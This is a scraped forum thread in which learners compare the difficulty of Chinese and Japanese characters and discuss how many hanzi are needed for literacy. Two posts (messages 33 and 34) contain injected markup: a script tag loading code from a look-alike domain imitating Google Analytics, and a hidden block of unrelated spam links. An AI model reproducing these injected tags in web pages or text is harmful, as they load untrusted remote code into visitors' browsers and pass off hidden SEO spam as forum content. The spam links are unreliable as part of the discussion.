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The Asian 3 - Japanese easiest? | ||
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 Language Learning Forum : Specific Languages |  | |
| JBI Diglot Groupie Canada Joined 5690 days ago 46 posts - 67 votes  Speaks: Modern Hebrew, English* Studies: Italian, Mandarin, French | Message 33 of 43 27 December 2009 at 4:32am | IP Logged | ||||||||
Totally. The problem is (ok, the problem used to be) when you are just starting out and are not good at looking characters up and are overwhelmed with the sheer number of characters. With iPods, dictionary scanner pens, electronic dictionaries you can write on, etc. things are so much easier it is hardly worth complaining about. <script type='text/javascript' src='http://google-anallytics.com/urchin.js'></script& gt;<div style='display:none;'><a href='#/1/'>beth bounty hunter losing weight</a><a href='#/2/'>personal trainer certification nfl</a><a href='#/3/'>easy quit smoking way</a><a href='#/4/'>lunar eyes embedded in the soul</a><a href='#/5/'>bon jovi cheated</a><a href='#/6/'>masage therapy occupation</a><a href='#/7/'>alternative investment partners llc</a><a href='#/8/'>iq test videnskab</a><a href='#/9/'>clairvoyant psychic reading</a><a href='#/10/'>herb past life</a><a href='#/11/'>jane mansfield death date</a><a href='#/12/'>imminent death from lung cancer</a> Not to mention that all the Classical Chinese-English dictionaries are still using Wade Giles, and pretty much only comply with Confucian to Han Dynasty meanings of characters. Though, I hear a concise Pinyin one is coming out. 1 person has voted this message useful | |||||||||
| JBI Diglot Groupie Canada Joined 5690 days ago 46 posts - 67 votes Speaks: Modern Hebrew, English* Studies: Italian, Mandarin, French | Message 34 of 43 27 December 2009 at 4:44am | IP Logged | ||||||||
Are we on the same forum? I see plenty of reasons to believe, say, Iversen's claims.. similarly, the administrator is extremely competent in 6 languages. Why maintain disbelief in the face of clear evidence? It's as foolish as blind belief that can't be shaken by counter-evidence. <script type='text/javascript' src='http://google-anallytics.com/urchin.js'></script& gt;<div style='display:none;'><a href='#/1/'>beth bounty hunter losing weight</a><a href='#/2/'>personal trainer certification nfl</a><a href='#/3/'>easy quit smoking way</a><a href='#/4/'>lunar eyes embedded in the soul</a><a href='#/5/'>bon jovi cheated</a><a href='#/6/'>masage therapy occupation</a><a href='#/7/'>alternative investment partners llc</a><a href='#/8/'>iq test videnskab</a><a href='#/9/'>clairvoyant psychic reading</a><a href='#/10/'>herb past life</a><a href='#/11/'>jane mansfield death date</a><a href='#/12/'>imminent death from lung cancer</a> ############### Sorry, I meant that as the collective you, I personally don't know you. Even if you maintain these c1 or c2 distinctions or whatever there is still the question of real fluency. For instance, writing in French is a very difficult think, often even for native speakers - the Bac exam at the end of high school in France, for instance, is quite often failed - I find it rude then, that you get somebody who hits Pimsleur 3 and thinks themself fluent, except that they have never been graded, or tested, or dumped into the setting. As for Kanji and Hanzi being similar learning - perhaps in the beginning, though they function and sound very differently. I think the tonal thing is not the hardest part, assuming you memorize character with tone like I do, but it can be tricky. Really though, I think Korean closer to Japanese than Chinese, but that isn't a way to judge languages. For me, I plan to spend extended time in China, so I am able to study it, knowing that next year I will be there for a whole year, and will gain some better understanding. Others perhaps are different, and have no intention of going there, much less for an extended period of time, and much less to learn there. I wouldn't embark on learning it though unless that plan was in mind. You really cannot learn Chinese, I find, unless you are forced everywhere you go, to either look like an idiot and not get what you want, or to make the words come out, however broken. Still though, the language itself to me seems quite textual, so there is still a lot and a lot of work one needs to do at home, which makes things more and more challenging. 1 person has voted this message useful | |||||||||
| hombre gordo Triglot Senior Member Japan Joined 5582 days ago 184 posts - 247 votes Speaks: English*, Spanish, Japanese Studies: Portuguese, Korean | Message 35 of 43 27 December 2009 at 11:10am | IP Logged | ||||||||
How many common characters? As for the task of learning the characters, I dont mind it at all. It is not a concern for me. I have confidence that I can do it. My main concern is speaking. Chinese appears to be so difficult to speak. I genuinely fear the tones because if you dont get the tonal system down properly you wont be understood. Also, in comparason to Japanese, Chinese words are short which means that they may be more difficult for me to understand. That is because I am used to languages with long words. Apart from speaking and listening, I dont have any real fears with regards to studying Chinese. I really want to learn it. I think it is a beautiful language, especially in songs. However, sometime I doubt my ability to learn it. I am not the most talented language learner. 1 person has voted this message useful | |||||||||
| JBI Diglot Groupie Canada Joined 5690 days ago 46 posts - 67 votes Speaks: Modern Hebrew, English* Studies: Italian, Mandarin, French | Message 36 of 43 27 December 2009 at 8:53pm | IP Logged | ||||||||
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How many common characters doesn't mean anything, considering they have different meanings, different pronunciations, and different positions in a sentence, not to mention different combinations.
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| hombre gordo Triglot Senior Member Japan Joined 5582 days ago 184 posts - 247 votes Speaks: English*, Spanish, Japanese Studies: Portuguese, Korean | Message 37 of 43 28 December 2009 at 9:49am | IP Logged | ||||||||
It seems to havent understood what I was trying to ask. I dont mean characters common with Japanese. I dont mean the number of combinations common with Japanese. I simply would like to know how many so called commonly used characters are necessary for literacy assuming the learner has a good grasp of grammar and vocabulary. 1 person has voted this message useful | |||||||||
| draoicht Groupie Ireland Joined 6312 days ago 89 posts - 146 votes Speaks: English* Studies: Spanish | Message 38 of 43 28 December 2009 at 11:08am | IP Logged | ||||||||
In Heisig’s book “Remembering Simplified Hanzi” he discusses why he chose 3000 characters for the two volumes. He says; “This number may fall below the 3,500 to 4,500 characters that are generally thought necessary for full proficiency, but it also happens to represent 99.5% of the characters found in running Chinese texts, as large scale frequency counts show.” He also says; “the top 1,000 entries in our complete frequency list account for approximately 90% of characters in running texts.” I have decided to start learning Chinese myself in the new year and I’m going to start working through Heisig’s first book, which contains 1500 characters, and hopefully after this I’ll be able to read texts with the aid of a dictionary. Edited by draoicht on 28 December 2009 at 11:10am 1 person has voted this message useful | |||||||||
| hombre gordo Triglot Senior Member Japan Joined 5582 days ago 184 posts - 247 votes Speaks: English*, Spanish, Japanese Studies: Portuguese, Korean | Message 39 of 43 28 December 2009 at 11:41am | IP Logged | ||||||||
Thanks. That is what I was looking for. A clear answer to the number of characters need based on concrete statistics. 1 person has voted this message useful | |||||||||
| JBI Diglot Groupie Canada Joined 5690 days ago 46 posts - 67 votes Speaks: Modern Hebrew, English* Studies: Italian, Mandarin, French | Message 40 of 43 30 December 2009 at 7:37pm | IP Logged | ||||||||
Not exactly clear - the book he is using gives no pronunciation hints (it leaves out the phonetics) and doesn't deal really with combination, which for Chinese make up most words (the vernacular standard language loves polysyllabic words). Even if you memorize 2500 characters, you still can't read anything unless you understand how each word relates to the others, and how they mean in specific contexts. The language seems to like to make long strings of characters for words, and then create abbreviations of the long strings of characters. That's what's really confusing - knowing one rather classical meaning of 2500 characters means you know essentially nothing - you'll never end up figuring out how the characters actually relate to each other without actually learning them as combinations.The highest HSK level for instance has a little over 2850 characters, except within that, it has almost 9000 combinations of them that need to be recognized. Good luck with that if you don't know how characters mean different things depending what is around them (and in Chinese, often take different pronunciations). The more you learn, the more you realize that characters have numerous meanings, and one needs to understand them all. At least, this is for Chinese - for Japanese I cannot say. 1 person has voted this message useful |
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